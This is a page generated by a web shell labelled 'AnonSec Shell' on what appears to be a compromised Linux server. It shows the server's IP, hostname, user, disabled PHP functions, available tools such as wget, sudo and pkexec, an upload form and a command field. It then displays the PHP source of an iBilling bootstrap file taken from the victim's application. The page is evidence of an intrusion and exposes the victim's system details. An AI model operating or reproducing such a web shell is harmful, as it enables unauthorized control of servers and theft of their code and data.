AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/hexagon/application/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/hexagon/application/helpers/ibilling_bootstrap.php
<?php

// Copyright Sadia Sharmin

use flight\Engine;

if (!defined('APP_RUN'))
    exit('No direct access allowed');

session_start();

function r2($to, $ntype = 'e', $msg = '') {
    if ($msg == '') {
        header("location: $to");
        exit;
    }
    $_SESSION['ntype'] = $ntype;
    $_SESSION['notify'] = $msg;
    header("location: $to");
    exit;
}

// To Support Legacy iBilling

if (file_exists('application/config.php')) {
    require('application/config.php');
} elseif (file_exists('sysfrm/config.php')) {
    require('sysfrm/config.php');
} else {

    r2('application/install');
}

if ($_app_stage == 'Dev') {
    ini_set('display_errors', 1);
    ini_set('display_startup_errors', 1);
    error_reporting(-1);
} else {
    error_reporting(0);
}

function safedata($value) {
    $value = trim($value);
    return $value;
}

//Extend
function _post($param, $defvalue = '') {
    if (!isset($_POST[$param])) {
        return $defvalue;
    } else {
        return safedata($_POST[$param]);
    }
}

//recebe a configuração da data do sistema, e trata para gravar na base de dados
function _postDate($param, $config="") {
    global $_c;
    try {
        $date = _post($param);
        return _formatDateDB( $date, $_c);
    } catch (Exception $e) {
        return "";
    }
}

function _formatDateDB($date, $config="") {
    global $_c;
    try {
        if ($_c['df'] == 'd/m/Y' || $_c['df'] == 'd.m.Y' || $_c['df'] == 'd-m-Y') {
            $date = implode("-", array_reverse(explode("-", str_replace(".", "-", str_replace("/", "-", $date)))));
        } else if ($_c['df'] == 'Y/m/d' || $_c['df'] == 'Y-m-d') {
            $date = str_replace("/", "-", $date);
        } else if ($_c['df'] == 'm/d/Y') {
            $date = substr($date, 6, 9) . "-" . substr($date, 0, 1) . "-" . substr($date, 3, 4);
        }
        return $date;
    } catch (Exception $e) {
        return "";
    }
}

function _get($param, $defvalue = '') {
    if (!isset($_GET[$param])) {
        return $defvalue;
    } else {
        return safedata($_GET[$param]);
    }
}

function _raid($l = '6') {
    $r = substr(str_shuffle(str_repeat('0123456789', $l)), 0, $l);
    return $r;
}

ORM::configure("mysql:host=$db_host;dbname=$db_name");
ORM::configure('username', $db_user);
ORM::configure('password', $db_password);
ORM::configure('driver_options', array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8, sql_mode = ""'));
ORM::configure('return_result_sets', true); // returns result sets
//ORM::configure('logging', true);


$result = ORM::for_table('sys_appconfig')->find_many();


foreach ($result as $value) {
    $config[$value['setting']] = $value['value'];
}

date_default_timezone_set($config['timezone']);

function _notify($msg, $type = 'e') {
    $_SESSION['ntype'] = $type;
    $_SESSION['notify'] = $msg;
}

$_c = $config;

$_theme = APP_URL . '/ui/theme/' . $config['theme'];

$ib_language_file_path = 'application/i18n/' . $config['language'] . '.php';

if (file_exists($ib_language_file_path)) {
    require $ib_language_file_path;
} else {
    require 'application/i18n/en.php';
}

function _msglog($type, $msg) {
    $_SESSION['ntype'] = $type;
    $_SESSION['notify'] = $msg;
}

$ui = new Smarty();

// $ui->setTemplateDir('ui/theme/' . $config['theme'] . '/');
// Force theme to ibilling to support legacy
$ib_theme = $config['theme'];

$ui->setTemplateDir('ui/theme/' . $ib_theme . '/');


$ui->setCompileDir('ui/compiled/');
$ui->setConfigDir('ui/conf/');
$ui->setCacheDir('ui/cache/');
$ui->assign('app_url', APP_URL . '/');
if (($config['url_rewrite']) == '1') {
    define('U', APP_URL . '/');
    $ui->assign('_url', APP_URL . '/');
    $ui->assign('base_url', APP_URL . '/');
} else {
    define('U', APP_URL . '/?ng=');
    $ui->assign('_url', APP_URL . '/?ng=');
    $ui->assign('base_url', APP_URL . '/?ng=');
}

$ui->assign('_theme', $_theme);
$ui->assign('_application_menu', 'dashboard');
$ui->assign('_title', $config['CompanyName']);
$ui->assign('_st', 'application');
$ui->assign('_topic', 'dashboard');
$ui->assign('content_inner', '');
$ui->assign('jsvar', '');
$ui->assign('tpl_footer', true);
$ui->assign('_pls', ORM::for_table('sys_pl')->where('status', '1')->find_many());

// supports custom sub template from iBilling V 3.0.0

$ui->assign('tplheader', 'sections/header_default');
$ui->assign('tplfooter', 'sections/footer_default');
$ui->assign('tplnav', 'sections/nav');

$ui->assign('client_tplheader', 'sections/header_client_default');
$ui->assign('client_tplfooter', 'sections/footer_client_default');

if (isset($_SESSION['notify'])) {
    $notify = $_SESSION['notify'];
    $ntype = $_SESSION['ntype'];
    if ($ntype == 's') {
        $ui->assign('notify', '<div class="alert alert-success fade in">
								<button class="close" data-dismiss="alert">
									×
								</button>
								<i class="fa-fw fa fa-check"></i>
								' . $notify . '
							</div>');
    } else {

        $ui->assign('notify', '<div class="alert alert-danger fade in">
								<button class="close" data-dismiss="alert">
									×
								</button>
								<i class="fa-fw fa fa-times"></i>
								' . $notify . '
							</div>');
    }
    unset($_SESSION['notify']);
    unset($_SESSION['ntype']);
}

function _auth() {
    if (isset($_SESSION['uid'])) {
        return true;
    } else {

        $after = _get('ng');

        $after = str_replace('/', '*', $after);

        $after = rtrim($after, '*');

        r2(U . 'login/after/' . $after);
    }
}

// additional function

function _admin() {
    if (isset($_SESSION['uid'])) {
        $d = ORM::for_table('user')->find_one($_SESSION['uid']);
        if ($d['user_type'] == 'Admin') {
            return true;
        } else {
            r2(U . 'login/');
        }
    } else {

        r2(U . 'login/');
    }
}

// ERP-270 - Menus Horizontais
// TODO: Fazer cache do $horizontal_menus
global $horizontal_menus;
$horizontal_menus = ORM::for_table('sys_horizontal_menus')->order_by_asc('sorder')->find_array();

// ERP-269 - Menus Horizontais
if(isset($_GET['module'])) {
	$_SESSION['module'] = $_GET['module'];
}

require('application/helpers/ibilling_misc.php');

$req = _get('ng');
$routes = explode('/', $req);
$handler = $routes['0'];
if ($handler == '') {
    $handler = 'default';
}


$plugin_ui_header_admin = array();
$plugin_ui_header_admin_css = array();
$plugin_ui_header_client = array();
$plugin_ui_header_client_css = array();

//plugin support
$PluginManager = new Plugins();
$ps = ORM::for_table('sys_pl')->where('status', '1')->order_by_asc('sorder')->find_many();
$modules=array();
foreach ($ps as $p) {
   
//André Camargo 26/12/2016
//acréscimo para procurar uma pasta lan dentrodo pluggin tmbm, 
//Necessário para carregar a pasta de idioma de todos os plugins instalados
    $ib_language_file_path = 'application/plugins/' . $p['c'] . '/i18n/' . $config['language'] . '.php';
//verifica se encontrou o idioma definido como padrão

    if (file_exists($ib_language_file_path)) {

        require $ib_language_file_path;
    } else {
//não encontrando, procura o idioma de ingles seguindo o padrão
        if (file_exists('application/plugins/' . $p['c'] . '/i18n/en.php')) {
            require 'application/plugins/' . $p['c'] . '/i18n/en.php';
        }
    }
    $ui->assign('_L', $_L);  // acrescimo do L novamente
//Até Aqui

    $PluginManager->loadPlugins($p['c']);
    $modules[]=$p['c'];
}
$ui->assign('array_modules', $modules); 

$hooks = glob('application/hooks/*{.php}', GLOB_BRACE);

if (count($hooks) != 0) {
    foreach ($hooks as $hook) {
        require_once($hook);
    }
}

require('application/helpers/ibilling_plugged.php');

// routing started

Event::trigger('routing_started');
//André camargo, definição da date registrado no banco de dados
//de acordo com o padrão para o smart
if ($config['df'] == 'd/m/Y') {
    $config['formatDate'] = 'dd/mm/yyyy'; 
    $config['formatDateMask'] = '99/99/9999'; 
} else if ($config['df'] == 'd.m.Y') {  
    $config['formatDate'] = 'dd.mm.yyyy';
    $config['formatDateMask'] = '99.99.9999'; 
} else if ($config['df'] == 'd-m-Y') {
    $config['formatDate'] = 'dd-mm-yyyy';
    $config['formatDateMask'] = '99-99-9999'; 
} else if ($config['df'] == 'm/d/Y') {
    $config['formatDate'] = 'mm/dd/yyyy';
    $config['formatDateMask'] = '99/99/9999'; 
} else if ($config['df'] == 'Y/m/d') {
    $config['formatDate'] = 'yyyy/mm/dd';
    $config['formatDateMask'] = '9999/99/9999'; 
} else if ($config['df'] == 'Y-m-d') {
    $config['formatDate'] = 'yyyy-mm-dd';
    $config['formatDateMask'] = '9999/99/99'; 
}



$ui->assign('_c', $config);
$ui->assign('_L', $_L);

// variable initializations

$xheader = '';
$xfooter = '';

$pl_path = '';
//
$sys_render = 'application/controllers/' . $handler . '.php';
if (file_exists($sys_render)) {
    include($sys_render);
} else {

// exit ("$sys_render");
//    @Since v 2.4 supports routing to plugin

    $p1 = false;
    $p2 = false;

    if (isset($routes['0']) AND ( $routes['0']) != '') {
        $p1 = true;
    }

    if (isset($routes['1']) AND ( $routes['1']) != '') {
        $p2 = true;
    }

    if ($p1 AND $p2) {

        $dir = $routes['0'];
//  $cont = $routes['1'];
        $path = 'application/plugins/' . $dir . '/index.php';
        $pl_path = 'application/plugins/' . $dir . '/';

        if (file_exists($path)) {
            $_pd = 'application/plugins/' . $dir;
            $ui->assign('_pd', 'application/plugins/' . $dir);
            require $path;
        } elseif (file_exists($pl_path . 'routes.php')) {
            require $pl_path . 'routes.php';
            App::start();
        } else {
            
        }
    } else {

        r2(U . 'dashboard/', 'e', $_L['Plugin Not Found']);
    }
}

function multiexplode ($delimiters,$string) {
   
    $ready = str_replace($delimiters, $delimiters[0], $string);
    $launch = explode($delimiters[0], $ready);
    return  $launch;
}


function showLabelYESNO($value){
    global $_L;
    return ($value=='Y'?"<span class='label label-status label-success'>".$_L['Yes']."</span>":"<span class='label label-status label-danger'>".$_L['No']."</span>");
}


function haveInstallPlugin($module){
    $plugin = ORM::for_table('sys_pl')->where('c', $module)->find_one();
    $module=false;
        if($plugin){
            if($plugin['status']==1){
                $module=true;
            }
        }
     return  $module;
}


// LEONARDO LOPES RAMOS 
// 08/04/2019
// VERIFICO SE O USUÁRIO TEM PERMISSÃO PRA ACESSAR O MÓDULO
function checkPermission()
{
        $req = _get('ng');
        $module = _get('module');
        $routes = explode('/', $req);
        
        $user = User::_info();
        
        if($routes['0'] == 'contacts')
        {
            $handler = 'customers';
        }
        else
        {
            $handler = $routes['0'];
        }
        
        $permission = ORM::for_table('sys_permissions')->where('shortname', $handler)->find_one();
        
        $access = has_access($user->roleid, $handler);
        if($permission != false && $access == false)
        {
            r2(U . 'dashboard', 'e', 'Você não tem permissão para acessar essa funcionalidade.');
        }
}

function next_order_table($order = '') {
    switch ($order) {
        case 'asc':
            return 'desc';
            break;
        case 'desc':
            return '';
            break;
        default:
            return 'asc';
            break;
    }
}

function mask($val, $mask) {
    $val = str_split($val . "");
    $maskared = '';
    $k = 0;
    for ($i = 0; $i <= strlen($mask) - 1; $i++) {
        if ($mask[$i] == '#') {
            if (isset($val[$k])) {
                $maskared .= $val[$k++];
            }
        } else if (isset($mask[$i])) {
            $maskared .= $mask[$i];
        }
    }
    return $maskared;
}

function cleanString($texto = '') {
    $texto = trim($texto);
    $aFind = array('&', 'á', 'à', 'ã', 'â', 'é', 'ê', 'í', 'ó', 'ô', 'õ', 'ú', 'ü',
        'ç', 'Á', 'À', 'Ã', 'Â', 'É', 'Ê', 'Í', 'Ó', 'Ô', 'Õ', 'Ú', 'Ü', 'Ç');
    $aSubs = array('e', 'a', 'a', 'a', 'a', 'e', 'e', 'i', 'o', 'o', 'o', 'u', 'u',
        'c', 'A', 'A', 'A', 'A', 'E', 'E', 'I', 'O', 'O', 'O', 'U', 'U', 'C');
    $novoTexto = str_replace($aFind, $aSubs, $texto);
    $novoTexto = preg_replace("/[^a-zA-Z0-9 @,-.;:\/]/", "", $novoTexto);
    return $novoTexto;
}

function sanitizaText($string) {
    $sanit = cleanString(strtolower(trim($string)));
    $sanit = preg_replace('/[^a-zA-Z0-9\']/', '', $sanit);
    return $sanit;
}

Anon7 - 2022
AnonSec Team